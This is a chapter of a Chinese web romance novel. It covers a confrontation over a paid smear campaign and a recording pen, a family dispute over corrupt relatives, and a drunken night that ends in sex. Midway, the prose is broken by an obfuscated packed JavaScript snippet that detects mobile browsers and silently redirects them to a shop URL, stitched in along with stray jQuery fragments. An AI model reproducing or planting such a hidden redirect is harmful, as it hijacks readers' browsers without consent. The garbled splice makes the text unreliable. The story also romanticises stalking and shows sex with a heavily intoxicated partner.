27. 低压(二)
作品:《不配[破镜重圆]》 第27章低压(二)
周翘欣对容凌赫一见钟情,喜欢他喜欢的要死。
她在M国读的大学,有自己的社交圈子,圈子不大还很排外,大二那年的一次聚会,相熟的朋友说白静迪要带过来两个人,一个是她男朋友,一个是她男朋友的朋友。
那个男朋友的朋友就是容凌赫。
容凌赫一出现,衬得一屋子的男人暗淡无光,吸引了几乎所有女孩儿的注意力,包括周翘欣。
她两眼放光,直勾勾地盯着容凌赫,忘了呼吸,直到他走进来坐下,忽然赤红了脸,心脏狂跳,心里呐喊,她要拿下这个人。
从那天后,周翘欣缠上了容凌赫,在他在她们学校交流学习的一年里想尽所有办法接近他,甚至租赁在他房子附近,她从没这么费心追过一个人,可容凌赫不领情。
周翘欣不明白,她长得漂亮,家里还有钱,为什么容凌赫就是看不上她。
周翘欣甚至想过强迫,也不是没试过,然而容凌赫家里也不是没有背景的,她没敢,最后只能眼睁睁看着他回国。
知道容家破产那天,周翘欣激动的一晚上没睡着觉,买了最近的机票,第一时间赶回国,容家都没了,她看容凌赫还拿什么跟她傲!
结果当天晚上就被她哥哥强制带回家,她爷爷骂了她一顿后严令她出门,把她看管了起来,任凭她怎么闹都不管用。
再放出来的时候,容凌赫跟宋佳玉在一起的消息已经传的沸沸扬扬,周翘欣恨得咬牙切齿,几次想跟宋佳玉鱼死网破,又不敢。
宋佳玉冷血阴毒,恶名远扬,她爸的五个私生女一疯一残一个被送到国外刷盘子,她听说唯一的私生子最近也被丢到了国外,不知死活,连她爸都被关进了精神病院,狠到这程度,周翘欣不敢想自己挑衅的后果。
只能不甘心的飞回去完成学业,期间在夜店跟飞娱传媒老总的儿子郑玉川滚到了一起,还怀了孕,想打,医生说她子宫壁薄不建议,她下不了决心,也害怕,就告诉了家里。
郑玉川是飞娱传媒老总的私生子,但被接了回去当成继承人培养,两家联姻也不是不行,她父母几乎没怎么考虑就做了决定。
可没想到他俩领证不久宋佳玉和容凌赫就分了手,周翘欣简直悔死,郑玉川长得没有容凌赫好,对她也一般,还一肚子花花肠子,她是越看越厌,几次咨询打胎,都被告知不建议,只能硬生生忍着。
孩子一生,立马分居,郑玉川红颜知己一大堆,一点儿不介意,可他不知道从哪里听说了她迷恋容凌赫的事,警告她:“玩儿谁都行,就容凌赫不行,你当年跟踪堵人的丑闻知道的人不少,你跟我结婚了再跟他胡搞,别人会怎么看,我不如他吗?”
容凌赫约在她家附近咖啡店,见面后,她眼神就没从容凌赫身上移开过,赤裸裸,毫不掩饰,看着他的时候,往事在脑海里一遍遍过,又不忿又嫉恨。
“周总和小郑总知道你花钱买水军抹黑我吗?”
容凌赫对周翘欣的目光毫无反应,坐定后,把一叠资料推到周翘欣那边,问道。
周翘欣一怔,回神,什么意思,不是说绝对查不到她吗,那容凌赫说的话又是什么意思?
心里有点儿慌,周翘欣强装镇定,“我不懂你在说什么,凌赫哥。”
“看看。”
“我不看。”
容凌赫盯着周翘欣,“自欺欺人有意思?”
“上个月十三号你去过荆市,用一辆布加迪威龙帮镇海的宋义理填债,跟他达成一项交易。”
“还要我再说吗?”
周翘欣攥紧双拳,仍旧坚持,“我听不懂你在说什么。”
容凌赫点燃一支烟,又记起在咖啡厅,两指一捏,掐灭了烟头,扔进了桌上精致小巧的垃圾收纳盒里。
周翘欣的眼神跟着容凌赫的动作走,脱口而出,“你不是不抽烟?”
容凌赫扫了她一眼,没理会她的话,接道:“你娘家在东江,婆家在京市,你近期一直在海市逗留,是因为什么?”
“玩儿,不行吗?”周翘欣嘴硬,“凌赫哥,咱们不说这些,好久……”
“听你哥说你跟王市的千金王伊然交好,还把陪嫁的布拉迪威龙送给她开。”容凌赫打断周翘欣,“可你的车不是用来抵债了吗?”
周翘欣拿咖啡杯的手一抖,咖啡溅出几滴,她连忙去拿纸巾,掩饰自己的慌张。
“你骗了你哥,是不是意味着你做的事你家里并不知道。”
周翘欣擦水的动作一顿,手在抖,控制不住,脑子里都是爷爷、父母和郑玉川知道她做的事的后果。
他们都让她不要惹宋佳玉,他们都很忌惮宋佳玉。
她也说过这件事是她们两个人的秘密,不能让别人知道,只要办成这件事,她会给她撑腰……
不对,凌赫哥说的是她抹黑他……
他这么聪明的人,会不知道水军真正针对的人是谁?
周翘欣猛地抬头,“你为她出头?!”她简直不敢相信刚刚脑子里一闪而过的想法,她死死盯着容凌赫的嘴唇,期望从里面吐出否定的答案。
容凌赫依然按照自己的节奏走,压根不理会周翘欣,“证据都放在你面前,我来找你是想给你个机会,如果你不能给我满意的回应,我不介意亲自去周家和郑家要个说法。”
又是这样,总是这样,好像她是空气,无视她,不回应她。
一瞬间,周翘欣理智全无,连她最害怕的家里和郑玉川会知道这件事都顾不得了,执拗地盯着容凌赫,“你回答我,你为她出头?!”
“她到底有什么好?!我不明白,她冷血自私,眼里只有利益,她比你大那么多,还玩弄过你,为了卫宁把你甩到一边儿,说丢就丢,你是贱吗?上赶着往上舔……”
“你去哪里?!”周翘欣拽住容凌赫,竭斯底里。
店里其他人看过来,店员也看向这边儿,犹豫着要不要往这边走。
容凌赫抽出衣服,盯着周翘欣还要纠缠过来的手,目光极冷,“周翘欣,我看在周嘉寻的面子上放过你好几次,否则就你躲进我衣柜那次就能让你进去好好清醒清醒。”
“既然你没有好好谈话的意思,我也没有必要跟你浪费……”
“你要去哪儿?你要告诉我家里,还是郑玉川?”周翘欣被容凌赫冷厉的眼神看地心颤,一个激灵,反应过来,“你不能告诉他们。”
她爸妈要是知道她做的事她就完了,更别说郑玉川,这些年不少人拿她当年追容凌赫的事打趣他,容凌赫就是他的死穴,他要是知道她为了容凌赫算计宋佳玉,他能生吞了她。
“我要知道,王伊然为什么要配合你演戏,默认车在她那儿。”容凌赫直截了当。
周翘欣又是一个激灵,“她……她……”
“她跟你一起计划的这件事。”容凌赫替她说了,“我既然来找你,就是已经有了足够的证据。
周翘欣心理防线彻底崩塌,索性破罐子破摔,“既然你都知道了,你还来找我干什么?”
她自嘲,“难道还是因为我哥的面子?”
周嘉寻比容凌赫大三岁,但两人是同学,还算处得来,不过因为周翘欣做的那些事,他俩那丁点儿情谊早就耗光了,周嘉寻看见他就尴尬,两人只剩点头之交。
“我来找你是因为我想跟你做笔交易。”
“交易?”周翘欣一愣,“什么交易。”
“我可以替你保守秘密,但是。”容凌赫又坐了下来,“我要你手里的录音笔,记录你跟王伊然谈话的录音笔。”
周翘欣瞪大了眼,看鬼一样看着容凌赫,矢口否认,“我没有……”
“你有。”
容凌赫深深地看着周翘欣,“你跟踪我那年,一共录了二十七只我跟人交谈的录音笔,周嘉寻处理的时候,我看见了。”
容凌赫没有窥探别人隐私的爱好,但周嘉寻当时看见他的表情太奇怪,那些被处理后扔掉的录音笔上,还每只上都贴了写着他名字的标签。
周翘欣怔然,半晌,缓缓坐下,一言不发。
良久,问容凌赫,“你为什么就是不喜欢我?”
容凌赫沉默。
“那王伊然呢?她好看,家世好,比宋佳玉强的多,你为什么宁愿自污也要推掉她?”
周翘欣嗤笑,“你不给人家面子,人家可不受气,当然要报复你跟宋佳玉。”
“就算你有了证据又有什么用,她可是王市千金,就算知道她算计你们,你们也只能乖乖受着。”
容凌赫伸手,“不劳你费心。”
周翘欣看着容凌赫伸出来的手,看着看着,突然大笑。
把贴着王伊然名字的录音笔放在容凌赫手上,她起身,又俯身凑近容凌赫,表情怨毒,“你跟宋佳玉不会有好结果,她没心。”
******
周翘欣这个名字耳熟,宋佳玉当时没想起在哪里听到过,直到接到郑玉溪的电话,才想起郑玉溪他爸领回来的那个儿子娶的媳妇就叫周翘欣。
跟郑玉溪打听,郑玉溪说她爸最近正春风得意,郑玉川,也就是她爸领回来的儿子不知道怎么搭上了海市的线,有意进军海市。
宋佳玉一听立刻有了计较,问郑玉溪周翘欣最近的行踪,得知周翘欣这段时间一直频繁在京市和海市之间往返。
挂断电话,宋佳玉立刻联系郑慧,让她派人去海市,盯住周翘欣。
她总觉得这里面有某种联系。
两天后,王市秘书长白筠联系她,让她尽快前往海市,项目出了点儿问题。
到了海市后,还没来得及见白筠,盯着周翘欣的人先传来消息,周翘欣在咖啡店跟人见面,隐约听见宋义理的名字,得知宋佳玉在海市后,把定位一起发了过来。
宋佳玉本来没想过去,结果白筠临时有事,只在电话里跟她模糊透露了几句,大概意思是上面有人卡流程,隐晦提点她是不是得罪了人。
刚挂电话,准备让郑慧开车去咖啡厅,她刚才看了眼距离,他们离咖啡厅不算远,几分钟的路。
车才开出一小段,她外公又打来电话,问许家的事。
许家的事已经发酵了好几天,她外婆始终下不了决心,就算她娘家人可能有意带坏她的孩子,不怀好意,她也狠不下心。
宋佳玉只给她外婆三天时间,时间一到,开始一件一件往她外公外婆桌上递东西,都是许家人这十多年里侵吞、窃取公司财物和利用职务收受贿赂为他人行方便的罪证。
今天是第一天,证据一递,她外公立刻坐不住了。
“佳玉,我现在在医院,你外婆住院了,幸好送的及时,没出大事。”
“你怨我,外公?”
林建设叹了口气,“许家那群人不做人,我也恨,可你外婆……她受不住啊。”
“外公打算怎么办?”
林建设没立刻回应。
宋佳玉知道他在迟疑,他恨许家人是真,但更在意她外婆,也许林丽颖对爱情执着不只因为从小到大故意被人带歪,也有她外公外婆的原因,这两人,是真正做到了从一而终,对彼此忠贞不二。
“佳玉,要不算了吧,你外婆都快八十了,我不想让她心里难受……”
“怎么算了外公?今天的只是里面最轻的,真正有分量的东西我还没拿出来,您说算了,是还要纵容他们继续腐蚀公司吗?”
“如果这样,您不如把金狮直接给许家,我没有兴趣也没有责任累死累活养着一堆蛀虫。”
“你这是在逼我,佳玉!”
“您何尝不是仗着长辈的身份逼我呢,外公。”宋佳玉淡淡道。
“你姓宋,也不姓林!”林建设气急了,也不知道是口不择言还是口吐真言,“你还做不了我林家的主,我说算了就是算了,这件事到此为止,我跟你外婆会警告他们,他们不敢再胡作非为,你找到的那些所谓的证据,马上都处理了。”
“我给您跟外婆一周时间把公司所有许家人和他家带进来的关系户都处理了,否则到时候这些证据出现的地方就不是您跟外婆的书桌上了。”
“外公,要不是看在您跟外婆的面子上,我根本不会让他们蹦跶这么久,更不会给他们除了坐牢外的第二个选择。”
“你!”
宋佳玉直接挂断电话。
这段时间跟着宋佳玉的人都是郑慧,宋佳玉打电话期间,她一直注意着宋佳玉的情绪,越看越心惊,放在方向盘上的手不由自主握紧。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979075|191413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她还以为宋佳玉这几年压力比前些年小了,没想到仍旧每天处于极限状态,尤其最近半个多月,不知道是不是因为要收网了更不敢放松,还是因为其它。
她总觉得宋佳玉情绪特别不对劲,像想确认什么,又像在不断试探,但试探的结果似乎都不尽人意,让她周身气息越发紧绷压抑。
“去最近的酒吧。”
郑慧张了张嘴,想劝,最后还是说了声:“好。”
一进酒吧,宋佳玉点了一排酒,什么都不说,一口一杯,一口一杯,喝的不像酒,像水,眼睛都不眨,连点儿表情都没有。
因为本来要跟白筠见面,宋佳玉穿的是职业装,此时往这里一坐,在别人眼里格格不入之际又有种别样的感觉,加上她喝酒的豪放,不少人开始往这边看。
郑慧了解宋佳玉一些小习惯,她压力大的时候,最常用的发泄方式就是喝酒和飙车,后来胃口出了问题,酒就喝的少了,有了容凌赫后,车更是不碰了……
正想着,手机震了一下,低头看了眼,是盯梢周翘欣的人传过来的信息。
“周翘欣已经离开,她走之前给了跟她见面的男人一只类似笔的东西,具体是什么不知道。”
“要不要盯着跟她见面的男人?”
同时发过来的还有一张偷拍照,是周翘欣和男人的侧脸,郑慧一看就怔住了,即使只是侧脸,她还是一眼就认了出来,这不是容凌赫吗,他怎么会跟周翘欣见面……
她看信息的功夫,有人上来搭讪,郑慧想拦,男人先开口,“佳玉?真是你,好久不见,没想到在这儿遇见你。”
宋佳玉抬眸,打量面前有些紧张又有些激动的男人,很英俊,很挺拔,还有些眼熟,但想不起来是谁。
男人见她没说话,勾起的嘴角落了下去,没了笑,“你不记得我了吗,佳玉?”他小心翼翼地问。
见宋佳玉还是不说话,又自问自答,“我是施楚涟,我们大学一个学校,还谈过恋爱……”
宋佳玉没反应,郑慧惊讶了,她上下打量施楚涟,他比上学的时候成熟太多,虽然跟她老板说话的时候小心翼翼,其实气度很沉稳,举手投足很舒展,这些年应该混的不错,穿衣气质能看出来。
“你这样喝酒没事吗?”虽然宋佳玉不理他,施楚涟却没有一点儿不自在,他靠近一步,抬手想拦宋佳玉。
郑慧扫了一眼桌上的空杯子,眉心拧了起来,不过还记得职责,抬手挡住了施楚涟,“不好意思,我老板没有跟你叙旧的意思。”
宋佳玉后知后觉,抬眸,盯着施楚涟,“施楚涟?”
施楚涟点头,“是我。”
宋佳玉眯眼,盯着施楚涟的眼睛,她记起这个人了,记得当年好像最喜欢的就是他的眼睛,热烈干净,一览无余。
“结婚了吗?”
施楚涟一愣,“没……没有。”
“女朋友呢?”
“刚分不久。”
“介意一夜情吗?”
郑慧额角跳了下,宋佳玉之前从来没有过这种情况,她分不清她是醉了还是单纯想用男人了。
施楚涟也愣住了,看着宋佳玉,脸突然爆红,“跟……跟你吗?我不……”
“介意。”
施楚涟话没说完,被人一把推开。
“几天不见,你品味下降了不少,怎么,从我这儿得不到满足,开始降低要求了?”
容凌赫开车回住所,路过酒吧,看见郑慧停在路边的车,他过目不忘,曾见郑慧开这辆车去南山接过宋佳玉,心思一动,停车走了进来。
打眼一看,正好看见坐在吧台边的宋佳玉,倒不是他眼多尖,而是宋佳玉就坐在最显眼的地方,面前还一排空酒杯。
容凌赫一看脸就黑了,等走近听见她问那男的介不介意一夜情的时候更是阴沉的吓人。
意料中的针锋相对没发生,宋佳玉看见他的瞬间眼睛一亮,起身搂住了他的脖子,他下意识弯腰,她把头放在了他的肩膀上,鼻子凑近,闻了下,咬了下去。
容凌赫身子一僵,连忙托住她的腰让她站稳,见宋佳玉动作越来越放肆,他咬了咬牙,一把抱起她,朝门口走。
郑慧拦住想上前拦的施楚涟,“不好意思施先生,我老板选了别人。”
施楚涟不放弃,还想追,“佳玉!”
郑慧脸上没了微笑,“施先生,请不要逼我动真格。”
两人拉扯的功夫,容凌赫已经把宋佳玉抱上了车。
一上车,宋佳玉更肆无忌惮,直接扑了上去,抱着容凌赫不放,到膝的裙子蜷曲到大腿,她再折腾折腾都能爬到腰上。
容凌赫憋的眼睛都泛红了,最后还是把宋佳玉按到了座椅上,往来都是车,到处都是摄像头,他车窗防窥做的再好,也不能保证不出意外。
一路折腾到他住的小别墅,容凌赫几乎被宋佳玉折磨到崩溃。
停好车,刚解开她身上的束缚,她一个翻身,直接坐了上来。
容凌赫简直要疯,他忍了再忍,指甲都陷入掌心里,在宋佳玉胡乱坐下去的时候,脑门青筋都爆了出来。
他眼睛赤红地盯着宋佳玉,“是不是只有你醉了,才愿意亲近我?你知道我是谁吗?是是个男人就行吗?你说话,你别不说话,我想听你说,是不是只有我才可以,是不是?你说话啊,宋佳玉……”
他发了狠。
宋佳玉更狠,像头野兽,甚至撕咬。
他们五年多没这么亲密,一发不可收拾,等结束的时候已经后半夜,容凌赫给宋佳玉洗了澡,抱到床上后一直垂眸看着她。
他本来没打算趁她意识不清跟她做这种事,在他的概念里醉酒又不是喝了那种东西,是可控的,可是她……
她情绪不对,她失控了,酒只是引子,做到后来,他清楚的意识到她在发泄……
宋佳玉哭了……
她哭了,他第一次看见她哭,无声,沉默,只是流泪,又很快结束,连哭,都是克制的……
那一刻,容凌赫心脏抽痛,难受到揪成一团,又茫然无力,他了解宋佳玉,比她想象中更了解。
她不会向任何人展露脆弱,包括他。
他并不特殊,走不进她蚕蛹一般的心房。

